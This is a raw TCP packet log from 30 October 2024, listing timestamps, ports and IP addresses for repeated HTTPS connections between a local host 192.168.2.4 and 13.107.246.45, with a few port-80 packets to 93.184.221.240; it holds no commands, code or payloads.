Oct 30, 2024 06:17:06.297916889 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.298003912 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.298104048 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.298204899 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.298291922 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.298314095 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.313002110 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.313163042 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.313230991 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.313339949 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.313348055 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.313366890 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.313369989 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.315651894 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.315690994 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.315783024 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.315943003 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.315956116 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.319418907 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.319484949 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.319545031 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.319605112 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.319605112 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.319617987 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.319627047 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.321558952 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.321589947 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.321675062 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.321844101 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.321863890 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.035123110 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.045998096 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.051106930 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.052622080 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.067150116 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.078931093 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.094403028 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.094424009 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.097223043 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.117902040 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.140780926 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.140794992 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.141264915 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.141274929 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.141556978 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.141566038 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.141897917 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.141901970 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.142067909 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.142102003 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.142402887 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.142416954 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.149461031 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.149471045 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.149805069 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.149810076 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.149988890 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.150003910 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.150294065 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.150305986 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.266479015 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.266536951 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.266597986 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.267283916 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.267420053 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.267472982 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.271501064 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.271526098 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.271539927 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.271548033 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.271550894 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.271565914 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.273186922 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.273437023 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.273500919 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.273771048 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.273785114 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.273794889 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.273801088 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.274939060 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.274957895 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.275039911 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.275202990 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.275224924 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.275279999 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.275356054 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.275363922 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.275494099 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.275506020 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.276551962 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.276618958 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.276670933 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.276717901 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.276726007 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.276736021 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.276740074 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.277838945 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.277925014 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.278023005 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.278161049 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.278198004 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.278390884 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.278846979 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.278908968 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.278981924 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.278981924 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.278996944 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.279006004 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.279823065 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.279838085 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.279913902 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.280024052 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.280035019 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.280947924 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.280973911 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:07.281049967 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.281207085 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:07.281227112 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.011776924 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.012337923 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.012368917 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.012645960 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.012909889 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.012942076 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.013039112 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.013046026 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.013325930 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.013334036 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.014463902 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.014749050 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.014756918 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.015266895 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.015273094 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.046349049 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.046664953 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.046843052 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.046860933 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.047039986 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.047063112 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.047329903 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.047336102 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.047709942 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.047713995 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.141923904 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.142081022 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.142153978 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.142981052 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.143001080 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.143013954 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.143021107 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.145070076 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.145147085 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.145210028 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.146712065 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.146749973 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.146819115 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.147123098 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.147141933 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.147162914 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.147171021 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.147872925 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.147939920 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.147989988 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.148487091 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.148500919 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.148693085 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.148699045 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.148711920 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.148716927 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.150777102 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.150813103 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.150885105 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.152106047 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.152117968 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.152184963 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.152225971 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.152245998 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.152375937 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.152388096 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.183078051 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.183254004 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.183340073 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.183516979 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.183533907 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.183542967 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.183547974 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.185856104 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.185882092 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.185956955 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.186163902 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.186177969 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.186961889 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.187232018 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.187287092 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.187319994 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.187330961 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.187345982 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.187350035 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.189435959 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.189459085 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.189538002 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.189696074 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:08.189707041 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:08.297684908 CET	49724	80	192.168.2.4	93.184.221.240
Oct 30, 2024 06:17:08.303716898 CET	80	49724	93.184.221.240	192.168.2.4
Oct 30, 2024 06:17:08.303886890 CET	49724	80	192.168.2.4	93.184.221.240
Oct 30, 2024 06:17:09.037146091 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.037667990 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.037682056 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.038149118 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.038153887 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.041621923 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.041903019 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.041932106 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.042252064 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.042259932 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.044317007 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.044631958 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.044646025 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.045022964 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.045027971 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.046988964 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.047000885 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.047256947 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.047275066 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.047296047 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.047302961 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.047743082 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.047748089 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.047780991 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.047785997 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.439843893 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.439847946 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.439948082 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.439958096 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.439964056 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.440023899 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.440026045 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.440089941 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.440197945 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.440228939 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.440239906 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.440290928 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.440387011 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.440530062 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.440603971 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.456104994 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.456132889 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.456147909 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.456155062 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.457309008 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.457328081 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.457340956 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.457348108 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.458157063 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.458162069 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.458173990 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.458178043 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.458934069 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.458964109 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.458978891 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.458986044 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.459695101 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.459703922 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.459717989 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.459722996 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.463124990 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.463151932 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.463155985 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.463203907 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.463222980 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.463260889 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.464191914 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.464202881 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.464258909 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.465048075 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.465099096 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.465157986 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.465219975 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.465233088 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.465317965 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.465337038 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.465409040 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.465425968 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.466281891 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.466327906 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.466386080 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.466418028 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.466432095 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:09.466511011 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:09.466525078 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.187513113 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.188208103 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.188225031 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.188695908 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.188703060 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.198729038 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.199062109 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.199088097 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.199475050 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.199479103 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.205868006 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.206268072 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.206300974 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.206712008 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.206717968 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.209275961 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.209654093 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.209672928 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.210050106 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.210056067 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.213696003 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.214020967 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.214057922 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.214375019 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.214380026 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.314970016 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.315162897 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.315237045 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.315388918 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.315413952 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.315426111 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.315432072 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.318453074 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.318505049 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.318628073 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.318774939 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.318794966 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.328577995 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.328764915 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.328851938 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.328963995 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.328984022 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.328994036 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.328999996 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.331603050 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.331646919 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.331727028 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.331851006 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.331864119 CET	443	49835	13.107.246.45	192.168.2.4
